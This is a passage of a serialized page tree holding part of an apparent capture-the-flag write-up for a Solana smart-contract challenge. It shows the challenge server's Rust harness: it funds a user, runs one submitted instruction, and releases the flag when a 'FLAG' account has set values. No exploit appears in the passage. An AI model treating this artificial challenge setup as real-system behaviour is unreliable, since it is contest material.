4,39118,39122,39126,39130,39134,39138,39142,39146,39150,39154,39158,39162,39166,39170,39174,39178,39182],{"type":19,"tag":168,"props":39071,"children":39072},{"style":382},[39073],{"type":24,"value":456},{"type":19,"tag":168,"props":39075,"children":39076},{"style":393},[39077],{"type":24,"value":11303},{"type":19,"tag":168,"props":39079,"children":39080},{"style":399},[39081],{"type":24,"value":402},{"type":19,"tag":168,"props":39083,"children":39084},{"style":212},[39085],{"type":24,"value":38131},{"type":19,"tag":168,"props":39087,"children":39088},{"style":399},[39089],{"type":24,"value":888},{"type":19,"tag":168,"props":39091,"children":39092},{"style":212},[39093],{"type":24,"value":38140},{"type":19,"tag":168,"props":39095,"children":39096},{"style":399},[39097],{"type":24,"value":888},{"type":19,"tag":168,"props":39099,"children":39100},{"style":175},[39101],{"type":24,"value":38149},{"type":19,"tag":168,"props":39103,"children":39104},{"style":399},[39105],{"type":24,"value":888},{"type":19,"tag":168,"props":39107,"children":39108},{"style":212},[39109],{"type":24,"value":38158},{"type":19,"tag":168,"props":39111,"children":39112},{"style":825},[39113],{"type":24,"value":828},{"type":19,"tag":168,"props":39115,"children":39116},{"style":212},[39117],{"type":24,"value":14676},{"type":19,"tag":168,"props":39119,"children":39120},{"style":192},[39121],{"type":24,"value":1506},{"type":19,"tag":168,"props":39123,"children":39124},{"style":212},[39125],{"type":24,"value":20516},{"type":19,"tag":168,"props":39127,"children":39128},{"style":382},[39129],{"type":24,"value":17721},{"type":19,"tag":168,"props":39131,"children":39132},{"style":212},[39133],{"type":24,"value":500},{"type":19,"tag":168,"props":39135,"children":39136},{"style":825},[39137],{"type":24,"value":5479},{"type":19,"tag":168,"props":39139,"children":39140},{"style":212},[39141],{"type":24,"value":38839},{"type":19,"tag":168,"props":39143,"children":39144},{"style":393},[39145],{"type":24,"value":1120},{"type":19,"tag":168,"props":39147,"children":39148},{"style":212},[39149],{"type":24,"value":1152},{"type":19,"tag":168,"props":39151,"children":39152},{"style":399},[39153],{"type":24,"value":442},{"type":19,"tag":168,"props":39155,"children":39156},{"style":192},[39157],{"type":24,"value":1506},{"type":19,"tag":168,"props":39159,"children":39160},{"style":212},[39161],{"type":24,"value":12858},{"type":19,"tag":168,"props":39163,"children":39164},{"style":399},[39165],{"type":24,"value":948},{"type":19,"tag":168,"props":39167,"children":39168},{"style":175},[39169],{"type":24,"value":23630},{"type":19,"tag":168,"props":39171,"children":39172},{"style":212},[39173],{"type":24,"value":11325},{"type":19,"tag":168,"props":39175,"children":39176},{"style":399},[39177],{"type":24,"value":948},{"type":19,"tag":168,"props":39179,"children":39180},{"style":175},[39181],{"type":24,"value":1079},{"type":19,"tag":168,"props":39183,"children":39184},{"style":212},[39185],{"type":24,"value":12872},{"type":19,"tag":168,"props":39187,"children":39188},{"class":170,"line":755},[39189,39193,39197,39201,39205,39209,39213,39217,39221,39225,39229,39233,39237,39241,39245,39249,39253,39257,39261,39265,39269,39273,39277,39281,39285,39289,39293,39297],{"type":19,"tag":168,"props":39190,"children":39191},{"style":382},[39192],{"type":24,"value":456},{"type":19,"tag":168,"props":39194,"children":39195},{"style":393},[39196],{"type":24,"value":38246},{"type":19,"tag":168,"props":39198,"children":39199},{"style":399},[39200],{"type":24,"value":402},{"type":19,"tag":168,"props":39202,"children":39203},{"style":212},[39204],{"type":24,"value":38131},{"type":19,"tag":168,"props":39206,"children":39207},{"style":399},[39208],{"type":24,"value":888},{"type":19,"tag":168,"props":39210,"children":39211},{"style":212},[39212],{"type":24,"value":38140},{"type":19,"tag":168,"props":39214,"children":39215},{"style":399},[39216],{"type":24,"value":888},{"type":19,"tag":168,"props":39218,"children":39219},{"style":175},[39220],{"type":24,"value":38149},{"type":19,"tag":168,"props":39222,"children":39223},{"style":399},[39224],{"type":24,"value":888},{"type":19,"tag":168,"props":39226,"children":39227},{"style":212},[39228],{"type":24,"value":38158},{"type":19,"tag":168,"props":39230,"children":39231},{"style":825},[39232],{"type":24,"value":828},{"type":19,"tag":168,"props":39234,"children":39235},{"style":212},[39236],{"type":24,"value":14676},{"type":19,"tag":168,"props":39238,"children":39239},{"style":192},[39240],{"type":24,"value":1506},{"type":19,"tag":168,"props":39242,"children":39243},{"style":212},[39244],{"type":24,"value":20516},{"type":19,"tag":168,"props":39246,"children":39247},{"style":825},[39248],{"type":24,"value":5479},{"type":19,"tag":168,"props":39250,"children":39251},{"style":212},[39252],{"type":24,"value":5047},{"type":19,"tag":168,"props":39254,"children":39255},{"style":393},[39256],{"type":24,"value":1120},{"type":19,"tag":168,"props":39258,"children":39259},{"style":212},[39260],{"type":24,"value":1152},{"type":19,"tag":168,"props":39262,"children":39263},{"style":192},[39264],{"type":24,"value":1506},{"type":19,"tag":168,"props":39266,"children":39267},{"style":399},[39268],{"type":24,"value":442},{"type":19,"tag":168,"props":39270,"children":39271},{"style":192},[39272],{"type":24,"value":38323},{"type":19,"tag":168,"props":39274,"children":39275},{"style":212},[39276],{"type":24,"value":12858},{"type":19,"tag":168,"props":39278,"children":39279},{"style":399},[39280],{"type":24,"value":948},{"type":19,"tag":168,"props":39282,"children":39283},{"style":175},[39284],{"type":24,"value":23630},{"type":19,"tag":168,"props":39286,"children":39287},{"style":212},[39288],{"type":24,"value":11325},{"type":19,"tag":168,"props":39290,"children":39291},{"style":399},[39292],{"type":24,"value":948},{"type":19,"tag":168,"props":39294,"children":39295},{"style":175},[39296],{"type":24,"value":1079},{"type":19,"tag":168,"props":39298,"children":39299},{"style":212},[39300],{"type":24,"value":12872},{"type":19,"tag":168,"props":39302,"children":39303},{"class":170,"line":1008},[39304,39308,39312,39316],{"type":19,"tag":168,"props":39305,"children":39306},{"style":175},[39307],{"type":24,"value":38359},{"type":19,"tag":168,"props":39309,"children":39310},{"style":212},[39311],{"type":24,"value":500},{"type":19,"tag":168,"props":39313,"children":39314},{"style":393},[39315],{"type":24,"value":10077},{"type":19,"tag":168,"props":39317,"children":39318},{"style":212},[39319],{"type":24,"value":1249},{"type":19,"tag":168,"props":39321,"children":39322},{"class":170,"line":1025},[39323],{"type":19,"tag":168,"props":39324,"children":39325},{"style":212},[39326],{"type":24,"value":761},{"type":19,"tag":168,"props":39328,"children":39329},{"class":170,"line":1042},[39330],{"type":19,"tag":168,"props":39331,"children":39332},{"style":212},[39333],{"type":24,"value":1326},{"type":19,"tag":7050,"props":39335,"children":39337},{"id":39336},"test-environment",[39338],{"type":24,"value":39339},"Test Environment",{"type":19,"tag":20,"props":39341,"children":39342},{},[39343],{"type":24,"value":39344},"To understand our capabilites regarding interaction with the program and determine what is necessary to get the flag, we must analyze the test environment.",{"type":19,"tag":20,"props":39346,"children":39347},{},[39348,39350,39356],{"type":24,"value":39349},"When you connect to the server through a tcp connection, ",{"type":19,"tag":27,"props":39351,"children":39353},{"className":39352},[],[39354],{"type":24,"value":39355},"framework/src/main.rs::handle_connection",{"type":24,"value":39357}," gets executed, which does the following:",{"type":19,"tag":2869,"props":39359,"children":39360},{},[39361],{"type":19,"tag":47,"props":39362,"children":39363},{},[39364],{"type":24,"value":39365},"Creates a new Solana local node",{"type":19,"tag":158,"props":39367,"children":39369},{"className":363,"code":39368,"language":362,"meta":7,"style":7},"let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap();\nassert!(builder.add_program(\"/path/to/chall.so\", Some(chall::ID)) == chall::ID);\nlet mut chall = builder.build().await;\n",[39370],{"type":19,"tag":27,"props":39371,"children":39372},{"__ignoreMap":7},[39373,39454,39530],{"type":19,"tag":168,"props":39374,"children":39375},{"class":170,"line":171},[39376,39380,39384,39389,39393,39398,39402,39407,39411,39416,39420,39425,39429,39433,39437,39442,39446,39450],{"type":19,"tag":168,"props":39377,"children":39378},{"style":382},[39379],{"type":24,"value":9232},{"type":19,"tag":168,"props":39381,"children":39382},{"style":382},[39383],{"type":24,"value":390},{"type":19,"tag":168,"props":39385,"children":39386},{"style":393},[39387],{"type":24,"value":39388}," builder",{"type":19,"tag":168,"props":39390,"children":39391},{"style":399},[39392],{"type":24,"value":402},{"type":19,"tag":168,"props":39394,"children":39395},{"style":825},[39396],{"type":24,"value":39397}," ChallengeBuilder",{"type":19,"tag":168,"props":39399,"children":39400},{"style":399},[39401],{"type":24,"value":888},{"type":19,"tag":168,"props":39403,"children":39404},{"style":175},[39405],{"type":24,"value":39406},"try_from",{"type":19,"tag":168,"props":39408,"children":39409},{"style":212},[39410],{"type":24,"value":500},{"type":19,"tag":168,"props":39412,"children":39413},{"style":393},[39414],{"type":24,"value":39415},"socket",{"type":19,"tag":168,"props":39417,"children":39418},{"style":399},[39419],{"type":24,"value":948},{"type":19,"tag":168,"props":39421,"children":39422},{"style":175},[39423],{"type":24,"value":39424},"try_clone",{"type":19,"tag":168,"props":39426,"children":39427},{"style":212},[39428],{"type":24,"value":11325},{"type":19,"tag":168,"props":39430,"children":39431},{"style":399},[39432],{"type":24,"value":948},{"type":19,"tag":168,"props":39434,"children":39435},{"style":175},[39436],{"type":24,"value":1079},{"type":19,"tag":168,"props":39438,"children":39439},{"style":212},[39440],{"type":24,"value":39441},"())",{"type":19,"tag":168,"props":39443,"children":39444},{"style":399},[39445],{"type":24,"value":948},{"type":19,"tag":168,"props":39447,"children":39448},{"style":175},[39449],{"type":24,"value":1079},{"type":19,"tag":168,"props":39451,"children":39452},{"style":212},[39453],{"type":24,"value":1084},{"type":19,"tag":168,"props":39455,"children":39456},{"class":170,"line":198},[39457,39462,39466,39471,39475,39480,39484,39489,39493,39498,39503,39507,39512,39516,39521,39525],{"type":19,"tag":168,"props":39458,"children":39459},{"style":175},[39460],{"type":24,"value":39461},"assert!",{"type":19,"tag":168,"props":39463,"children":39464},{"style":212},[39465],{"type":24,"value":500},{"type":19,"tag":168,"props":39467,"children":39468},{"style":393},[39469],{"type":24,"value":39470},"builder",{"type":19,"tag":168,"props":39472,"children":39473},{"style":399},[39474],{"type":24,"value":948},{"type":19,"tag":168,"props":39476,"children":39477},{"style":175},[39478],{"type":24,"value":39479},"add_program",{"type":19,"tag":168,"props":39481,"children":39482},{"style":212},[39483],{"type":24,"value":500},{"type":19,"tag":168,"props":39485,"children":39486},{"style":181},[39487],{"type":24,"value":39488},"\"/path/to/chall.so\"",{"type":19,"tag":168,"props":39490,"children":39491},{"style":212},[39492],{"type":24,"value":471},{"type":19,"tag":168,"props":39494,"children":39495},{"style":825},[39496],{"type":24,"value":39497},"Some",{"type":19,"tag":168,"props":39499,"children":39500},{"style":212},[39501],{"type":24,"value":39502},"(chall",{"type":19,"tag":168,"props":39504,"children":39505},{"style":399},[39506],{"type":24,"value":888},{"type":19,"tag":168,"props":39508,"children":39509},{"style":212},[39510],{"type":24,"value":39511},"ID)) ",{"type":19,"tag":168,"props":39513,"children":39514},{"style":399},[39515],{"type":24,"value":6013},{"type":19,"tag":168,"props":39517,"children":39518},{"style":212},[39519],{"type":24,"value":39520}," chall",{"type":19,"tag":168,"props":39522,"children":39523},{"style":399},[39524],{"type":24,"value":888},{"type":19,"tag":168,"props":39526,"children":39527},{"style":212},[39528],{"type":24,"value":39529},"ID);\n",{"type":19,"tag":168,"props":39531,"children":39532},{"class":170,"line":415},[39533,39537,39541,39545,39549,39553,39557,39562,39566,39570,39574],{"type":19,"tag":168,"props":39534,"children":39535},{"style":382},[39536],{"type":24,"value":9232},{"type":19,"tag":168,"props":39538,"children":39539},{"style":382},[39540],{"type":24,"value":390},{"type":19,"tag":168,"props":39542,"children":39543},{"style":393},[39544],{"type":24,"value":39520},{"type":19,"tag":168,"props":39546,"children":39547},{"style":399},[39548],{"type":24,"value":402},{"type":19,"tag":168,"props":39550,"children":39551},{"style":393},[39552],{"type":24,"value":39388},{"type":19,"tag":168,"props":39554,"children":39555},{"style":399},[39556],{"type":24,"value":948},{"type":19,"tag":168,"props":39558,"children":39559},{"style":175},[39560],{"type":24,"value":39561},"build",{"type":19,"tag":168,"props":39563,"children":39564},{"style":212},[39565],{"type":24,"value":11325},{"type":19,"tag":168,"props":39567,"children":39568},{"style":399},[39569],{"type":24,"value":948},{"type":19,"tag":168,"props":39571,"children":39572},{"style":419},[39573],{"type":24,"value":30389},{"type":19,"tag":168,"props":39575,"children":39576},{"style":212},[39577],{"type":24,"value":412},{"type":19,"tag":2869,"props":39579,"children":39580},{"start":198},[39581],{"type":19,"tag":47,"props":39582,"children":39583},{},[39584],{"type":24,"value":39585},"Funds the user account with 100 SOL",{"type":19,"tag":158,"props":39587,"children":39589},{"className":363,"code":39588,"language":362,"meta":7,"style":7},"let user_keypair = Keypair::new();\nlet user = user_keypair.pubkey();\n\nlet payer_keypair = &chall.ctx.payer;\nlet payer = payer_keypair.pubkey();\n\nchall\n .run_ix(system_instruction::transfer(&payer, &user, 100_000_000_000))\n .await?;\n\nwriteln!(socket, \"user: {}\", user)?;\n",[39590],{"type":19,"tag":27,"props":39591,"children":39592},{"__ignoreMap":7},[39593,39626,39658,39665,39707,39739,39746,39754,39818,39837,39844],{"type":19,"tag":168,"props":39594,"children":39595},{"class":170,"line":171},[39596,39600,39605,39609,39614,39618,39622],{"type":19,"tag":168,"props":39597,"children":39598},{"style":382},[39599],{"type":24,"value":9232},{"type":19,"tag":168,"props":39601,"children":39602},{"style":393},[39603],{"type":24,"value":39604}," user_keypair",{"type":19,"tag":168,"props":39606,"children":39607},{"style":399},[39608],{"type":24,"value":402},{"type":19,"tag":168,"props":39610,"children":39611},{"style":825},[39612],{"type":24,"value":39613}," Keypair",{"type":19,"tag":168,"props":39615,"children":39616},{"style":399},[39617],{"type":24,"value":888},{"type":19,"tag":168,"props":39619,"children":39620},{"style":175},[39621],{"type":24,"value":12569},{"type":19,"tag":168,"props":39623,"children":39624},{"style":212},[39625],{"type":24,"value":1084},{"type":19,"tag":168,"props":39627,"children":39628},{"class":170,"line":198},[39629,39633,39638,39642,39646,39650,39654],{"type":19,"tag":168,"props":39630,"children":39631},{"style":382},[39632],{"type":24,"value":9232},{"type":19,"tag":168,"props":39634,"children":39635},{"style":393},[39636],{"type":24,"value":39637}," user",{"type":19,"tag":168,"props":39639,"children":39640},{"style":399},[39641],{"type":24,"value":402},{"type":19,"tag":168,"props":39643,"children":39644},{"style":393},[39645],{"type":24,"value":39604},{"type":19,"tag":168,"props":39647,"children":39648},{"style":399},[39649],{"type":24,"value":948},{"type":19,"tag":168,"props":39651,"children":39652},{"style":175},[39653],{"type":24,"value":953},{"type":19,"tag":168,"props":39655,"children":39656},{"style":212},[39657],{"type":24,"value":1084},{"type":19,"tag":168,"props":39659,"children":39660},{"class":170,"line":415},[39661],{"type":19,"tag":168,"props":39662,"children":39663},{"emptyLinePlaceholder":14},[39664],{"type":24,"value":1093},{"type":19,"tag":168,"props":39666,"children":39667},{"class":170,"line":450},[39668,39672,39677,39681,39685,39690,39694,39698,39702],{"type":19,"tag":168,"props":39669,"children":39670},{"style":382},[39671],{"type":24,"value":9232},{"type":19,"tag":168,"props":39673,"children":39674},{"style":393},[39675],{"type":24,"value":39676}," payer_keypair",{"type":19,"tag":168,"props":39678,"children":39679},{"style":399},[39680],{"type":24,"value":402},{"type":19,"tag":168,"props":39682,"children":39683},{"style":399},[39684],{"type":24,"value":4577},{"type":19,"tag":168,"props":39686,"children":39687},{"style":393},[39688],{"type":24,"value":39689},"chall",{"type":19,"tag":168,"props":39691,"children":39692},{"style":399},[39693],{"type":24,"value":948},{"type":19,"tag":168,"props":39695,"children":39696},{"style":212},[39697],{"type":24,"value":17735},{"type":19,"tag":168,"props":39699,"children":39700},{"style":399},[39701],{"type":24,"value":948},{"type":19,"tag":168,"props":39703,"children":39704},{"style":212},[39705],{"type":24,"value":39706},"payer;\n",{"type":19,"tag":168,"props":39708,"children":39709},{"class":170,"line":560},[39710,39714,39719,39723,39727,39731,39735],{"type":19,"tag":168,"props":39711,"children":39712},{"style":382},[39713],{"type":24,"value":9232},{"type":19,"tag":168,"props":39715,"children":39716},{"style":393},[39717],{"type":24,"value":39718}," payer",{"type":19,"tag":168,"props":39720,"children":39721},{"style":399},[39722],{"type":24,"value":402},{"type":19,"tag":168,"props":39724,"children":39725},{"style":393},[39726],{"type":24,"value":39676},{"type":19,"tag":168,"props":39728,"children":39729},{"style":399},[39730],{"type":24,"value":948},{"type":19,"tag":168,"props":39732,"children":39733},{"style":175},[39734],{"type":24,"value":953},{"type":19,"tag":168,"props":39736,"children":39737},{"style":212},[39738],{"type":24,"value":1084},{"type":19,"tag":168,"props":39740,"children":39741},{"class":170,"line":666},[39742],{"type":19,"tag":168,"props":39743,"children":39744},{"emptyLinePlaceholder":14},[39745],{"type":24,"value":1093},{"type":19,"tag":168,"props":39747,"children":39748},{"class":170,"line":694},[39749],{"type":19,"tag":168,"props":39750,"children":39751},{"style":393},[39752],{"type":24,"value":39753},"chall\n",{"type":19,"tag":168,"props":39755,"children":39756},{"class":170,"line":707},[39757,39762,39767,39772,39776,39780,39784,39788,39793,39797,39801,39805,39809,39814],{"type":19,"tag":168,"props":39758,"children":39759},{"style":399},[39760],{"type":24,"value":39761}," .",{"type":19,"tag":168,"props":39763,"children":39764},{"style":175},[39765],{"type":24,"value":39766},"run_ix",{"type":19,"tag":168,"props":39768,"children":39769},{"style":212},[39770],{"type":24,"value":39771},"(system_instruction",{"type":19,"tag":168,"props":39773,"children":39774},{"style":399},[39775],{"type":24,"value":888},{"type":19,"tag":168,"props":39777,"children":39778},{"style":175},[39779],{"type":24,"value":29595},{"type":19,"tag":168,"props":39781,"children":39782},{"style":212},[39783],{"type":24,"value":500},{"type":19,"tag":168,"props":39785,"children":39786},{"style":399},[39787],{"type":24,"value":505},{"type":19,"tag":168,"props":39789,"children":39790},{"style":393},[39791],{"type":24,"value":39792},"payer",{"type":19,"tag":168,"props":39794,"children":39795},{"style":212},[39796],{"type":24,"value":471},{"type":19,"tag":168,"props":39798,"children":39799},{"style":399},[39800],{"type":24,"value":505},{"type":19,"tag":168,"props":39802,"children":39803},{"style":393},[39804],{"type":24,"value":17687},{"type":19,"tag":168,"props":39806,"children":39807},{"style":212},[39808],{"type":24,"value":471},{"type":19,"tag":168,"props":39810,"children":39811},{"style":192},[39812],{"type":24,"value":39813},"100_000_000_000",{"type":19,"tag":168,"props":39815,"children":39816},{"style":212},[39817],{"type":24,"value":17166},{"type":19,"tag":168,"props":39819,"children":39820},{"class":170,"line":725},[39821,39825,39829,39833],{"type":19,"tag":168,"props":39822,"children":39823},{"style":399},[39824],{"type":24,"value":39761},{"type":19,"tag":168,"props":39826,"children":39827},{"style":419},[39828],{"type":24,"value":30389},{"type":19,"tag":168,"props":39830,"children":39831},{"style":399},[39832],{"type":24,"value":552},{"type":19,"tag":168,"props":39834,"children":39835},{"style":212},[39836],{"type":24,"value":412},{"type":19,"tag":168,"props":39838,"children":39839},{"class":170,"line":746},[39840],{"type":19,"tag":168,"props":39841,"children":39842},{"emptyLinePlaceholder":14},[39843],{"type":24,"value":1093},{"type":19,"tag":168,"props":39845,"children":39846},{"class":170,"line":755},[39847,39852,39856,39860,39864,39869,39873,39877,39881,39885],{"type":19,"tag":168,"props":39848,"children":39849},{"style":175},[39850],{"type":24,"value":39851},"writeln!",{"type":19,"tag":168,"props":39853,"children":39854},{"style":212},[39855],{"type":24,"value":500},{"type":19,"tag":168,"props":39857,"children":39858},{"style":393},[39859],{"type":24,"value":39415},{"type":19,"tag":168,"props":39861,"children":39862},{"style":212},[39863],{"type":24,"value":471},{"type":19,"tag":168,"props":39865,"children":39866},{"style":181},[39867],{"type":24,"value":39868},"\"user: {}\"",{"type":19,"tag":168,"props":39870,"children":39871},{"style":212},[39872],{"type":24,"value":471},{"type":19,"tag":168,"props":39874,"children":39875},{"style":393},[39876],{"type":24,"value":17687},{"type":19,"tag":168,"props":39878,"children":39879},{"style":212},[39880],{"type":24,"value":524},{"type":19,"tag":168,"props":39882,"children":39883},{"style":399},[39884],{"type":24,"value":552},{"type":19,"tag":168,"props":39886,"children":39887},{"style":212},[39888],{"type":24,"value":412},{"type":19,"tag":2869,"props":39890,"children":39891},{"start":415},[39892],{"type":19,"tag":47,"props":39893,"children":39894},{},[39895],{"type":24,"value":39896},"Reads an instruction from the tcp stream and executes it",{"type":19,"tag":158,"props":39898,"children":39900},{"className":363,"code":39899,"language":362,"meta":7,"style":7},"let solve_ix = chall.read_instruction(chall::ID)?;\nchall.run_ixs_full(&[solve_ix], &[&user_keypair], &user).await?;\n",[39901],{"type":19,"tag":27,"props":39902,"children":39903},{"__ignoreMap":7},[39904,39954],{"type":19,"tag":168,"props":39905,"children":39906},{"class":170,"line":171},[39907,39911,39916,39920,39924,39928,39933,39937,39941,39946,39950],{"type":19,"tag":168,"props":39908,"children":39909},{"style":382},[39910],{"type":24,"value":9232},{"type":19,"tag":168,"props":39912,"children":39913},{"style":393},[39914],{"type":24,"value":39915}," solve_ix",{"type":19,"tag":168,"props":39917,"children":39918},{"style":399},[39919],{"type":24,"value":402},{"type":19,"tag":168,"props":39921,"children":39922},{"style":393},[39923],{"type":24,"value":39520},{"type":19,"tag":168,"props":39925,"children":39926},{"style":399},[39927],{"type":24,"value":948},{"type":19,"tag":168,"props":39929,"children":39930},{"style":175},[39931],{"type":24,"value":39932},"read_instruction",{"type":19,"tag":168,"props":39934,"children":39935},{"style":212},[39936],{"type":24,"value":39502},{"type":19,"tag":168,"props":39938,"children":39939},{"style":399},[39940],{"type":24,"value":888},{"type":19,"tag":168,"props":39942,"children":39943},{"style":212},[39944],{"type":24,"value":39945},"ID)",{"type":19,"tag":168,"props":39947,"children":39948},{"style":399},[39949],{"type":24,"value":552},{"type":19,"tag":168,"props":39951,"children":39952},{"style":212},[39953],{"type":24,"value":412},{"type":19,"tag":168,"props":39955,"children":39956},{"class":170,"line":198},[39957,39961,39965,39970,39974,39978,39982,39987,39991,39995,39999,40003,40008,40012,40016,40020,40024,40028,40032,40036],{"type":19,"tag":168,"props":39958,"children":39959},{"style":393},[39960],{"type":24,"value":39689},{"type":19,"tag":168,"props":39962,"children":39963},{"style":399},[39964],{"type":24,"value":948},{"type":19,"tag":168,"props":39966,"children":39967},{"style":175},[39968],{"type":24,"value":39969},"run_ixs_full",{"type":19,"tag":168,"props":39971,"children":39972},{"style":212},[39973],{"type":24,"value":500},{"type":19,"tag":168,"props":39975,"children":39976},{"style":399},[39977],{"type":24,"value":505},{"type":19,"tag":168,"props":39979,"children":39980},{"style":212},[39981],{"type":24,"value":1152},{"type":19,"tag":168,"props":39983,"children":39984},{"style":393},[39985],{"type":24,"value":39986},"solve_ix",{"type":19,"tag":168,"props":39988,"children":39989},{"style":212},[39990],{"type":24,"value":20516},{"type":19,"tag":168,"props":39992,"children":39993},{"style":399},[39994],{"type":24,"value":505},{"type":19,"tag":168,"props":39996,"children":39997},{"style":212},[39998],{"type":24,"value":1152},{"type":19,"tag":168,"props":40000,"children":40001},{"style":399},[40002],{"type":24,"value":505},{"type":19,"tag":168,"props":40004,"children":40005},{"style":393},[40006],{"type":24,"value":40007},"user_keypair",{"type":19,"tag":168,"props":40009,"children":40010},{"style":212},[40011],{"type":24,"value":20516},{"type":19,"tag":168,"props":40013,"children":40014},{"style":399},[40015],{"type":24,"value":505},{"type":19,"tag":168,"props":40017,"children":40018},{"style":393},[40019],{"type":24,"value":17687},{"type":19,"tag":168,"props":40021,"children":40022},{"style":212},[40023],{"type":24,"value":524},{"type":19,"tag":168,"props":40025,"children":40026},{"style":399},[40027],{"type":24,"value":948},{"type":19,"tag":168,"props":40029,"children":40030},{"style":419},[40031],{"type":24,"value":30389},{"type":19,"tag":168,"props":40033,"children":40034},{"style":399},[40035],{"type":24,"value":552},{"type":19,"tag":168,"props":40037,"children":40038},{"style":212},[40039],{"type":24,"value":412},{"type":19,"tag":2869,"props":40041,"children":40042},{"start":450},[40043],{"type":19,"tag":47,"props":40044,"children":40045},{},[40046],{"type":24,"value":40047},"Checks that the account at PDA(\"FLAG\") exists, has a data length of 0x1337 and the first 8 bytes are equal to 0x4337. If so, it prints the flag.",{"type":19,"tag":158,"props":40049,"children":40051},{"className":363,"code":40050,"language":362,"meta":7,"style":7},"let flag = Pubkey::create_program_address(&[\"FLAG\".as_ref()], &chall::ID)?;\nif let Some(acct) = chall.ctx.banks_client.get_account(flag).await? {\n if acct.data.len() == 0x1337\n && u64::from_le_bytes(acct.data[..8].try_into().unwrap()) == 0x4337\n {\n writeln!(socket, \"congrats!\")?;\n if let Ok(flag) = env::var(\"FLAG\") {\n writeln!(socket, \"flag: {:?}\", flag)?;\n } else {\n writeln!(socket, \"flag not found, please contact admin\")?;\n }\n }\n}\n",[40052],{"type":19,"tag":27,"props":40053,"children":40054},{"__ignoreMap":7},[40055,40139,40230,40271,40355,40362,40399,40456,40501,40516,40552,40559,40566],{"type":19,"tag":168,"props":40056,"children":40057},{"class":170,"line":171},[40058,40062,40067,40071,40075,40079,40084,40088,40092,40096,40101,40105,40110,40115,40119,40123,40127,40131,40135],{"type":19,"tag":168,"props":40059,"children":40060},{"style":382},[40061],{"type":24,"value":9232},{"type":19,"tag":168,"props":40063,"children":40064},{"style":393},[40065],{"type":24,"value":40066}," flag",{"type":19,"tag":168,"props":40068,"children":40069},{"style":399},[40070],{"type":24,"value":402},{"type":19,"tag":168,"props":40072,"children":40073},{"style":825},[40074],{"type":24,"value":18312},{"type":19,"tag":168,"props":40076,"children":40077},{"style":399},[40078],{"type":24,"value":888},{"type":19,"tag":168,"props":40080,"children":40081},{"style":175},[40082],{"type":24,"value":40083},"create_program_address",{"type":19,"tag":168,"props":40085,"children":40086},{"style":212},[40087],{"type":24,"value":500},{"type":19,"tag":168,"props":40089,"children":40090},{"style":399},[40091],{"type":24,"value":505},{"type":19,"tag":168,"props":40093,"children":40094},{"style":212},[40095],{"type":24,"value":1152},{"type":19,"tag":168,"props":40097,"children":40098},{"style":181},[40099],{"type":24,"value":40100},"\"FLAG\"",{"type":19,"tag":168,"props":40102,"children":40103},{"style":399},[40104],{"type":24,"value":948},{"type":19,"tag":168,"props":40106,"children":40107},{"style":175},[40108],{"type":24,"value":40109},"as_ref",{"type":19,"tag":168,"props":40111,"children":40112},{"style":212},[40113],{"type":24,"value":40114},"()], ",{"type":19,"tag":168,"props":40116,"children":40117},{"style":399},[40118],{"type":24,"value":505},{"type":19,"tag":168,"props":40120,"children":40121},{"style":212},[40122],{"type":24,"value":39689},{"type":19,"tag":168,"props":40124,"children":40125},{"style":399},[40126],{"type":24,"value":888},{"type":19,"tag":168,"props":40128,"children":40129},{"style":212},[40130],{"type":24,"value":39945},{"type":19,"tag":168,"props":40132,"children":40133},{"style":399},[40134],{"type":24,"value":552},{"type":19,"tag":168,"props":40136,"children":40137},{"style":212},[40138],{"type":24,"value":412},{"type":19,"tag":168,"props":40140,"children":40141},{"class":170,"line":198},[40142,40146,40150,40154,40158,40163,40167,40171,40175,40179,40183,40187,40192,40196,40201,40205,40210,40214,40218,40222,40226],{"type":19,"tag":168,"props":40143,"children":40144},{"style":419},[40145],{"type":24,"value":13027},{"type":19,"tag":168,"props":40147,"children":40148},{"style":382},[40149],{"type":24,"value":24773},{"type":19,"tag":168,"props":40151,"children":40152},{"style":825},[40153],{"type":24,"value":24778},{"type":19,"tag":168,"props":40155,"children":40156},{"style":212},[40157],{"type":24,"value":500},{"type":19,"tag":168,"props":40159,"children":40160},{"style":393},[40161],{"type":24,"value":40162},"acct",{"type":19,"tag":168,"props":40164,"children":40165},{"style":212},[40166],{"type":24,"value":481},{"type":19,"tag":168,"props":40168,"children":40169},{"style":399},[40170],{"type":24,"value":486},{"type":19,"tag":168,"props":40172,"children":40173},{"style":393},[40174],{"type":24,"value":39520},{"type":19,"tag":168,"props":40176,"children":40177},{"style":399},[40178],{"type":24,"value":948},{"type":19,"tag":168,"props":40180,"children":40181},{"style":212},[40182],{"type":24,"value":17735},{"type":19,"tag":168,"props":40184,"children":40185},{"style":399},[40186],{"type":24,"value":948},{"type":19,"tag":168,"props":40188,"children":40189},{"style":212},[40190],{"type":24,"value":40191},"banks_client",{"type":19,"tag":168,"props":40193,"children":40194},{"style":399},[40195],{"type":24,"value":948},{"type":19,"tag":168,"props":40197,"children":40198},{"style":175},[40199],{"type":24,"value":40200},"get_account",{"type":19,"tag":168,"props":40202,"children":40203},{"style":212},[40204],{"type":24,"value":500},{"type":19,"tag":168,"props":40206,"children":40207},{"style":393},[40208],{"type":24,"value":40209},"flag",{"type":19,"tag":168,"props":40211,"children":40212},{"style":212},[40213],{"type":24,"value":524},{"type":19,"tag":168,"props":40215,"children":40216},{"style":399},[40217],{"type":24,"value":948},{"type":19,"tag":168,"props":40219,"children":40220},{"style":419},[40221],{"type":24,"value":30389},{"type":19,"tag":168,"props":40223,"children":40224},{"style":399},[40225],{"type":24,"value":552},{"type":19,"tag":168,"props":40227,"children":40228},{"style":212},[40229],{"type":24,"value":691},{"type":19,"tag":168,"props":40231,"children":40232},{"class":170,"line":415},[40233,40237,40242,40246,40250,40254,40258,40262,40266],{"type":19,"tag":168,"props":40234,"children":40235},{"style":419},[40236],{"type":24,"value":9724},{"type":19,"tag":168,"props":40238,"children":40239},{"style":393},[40240],{"type":24,"value":40241}," acct",{"type":19,"tag":168,"props":40243,"children":40244},{"style":399},[40245],{"type":24,"value":948},{"type":19,"tag":168,"props":40247,"children":40248},{"style":212},[40249],{"type":24,"value":1120},{"type":19,"tag":168,"props":40251,"children":40252},{"style":399},[40253],{"type":24,"value":948},{"type":19,"tag":168,"props":40255,"children":40256},{"style":175},[40257],{"type":24,"value":6579},{"type":19,"tag":168,"props":40259,"children":40260},{"style":212},[40261],{"type":24,"value":11489},{"type":19,"tag":168,"props":40263,"children":40264},{"style":399},[40265],{"type":24,"value":6013},{"type":19,"tag":168,"props":40267,"children":40268},{"style":192},[40269],{"type":24,"value":40270}," 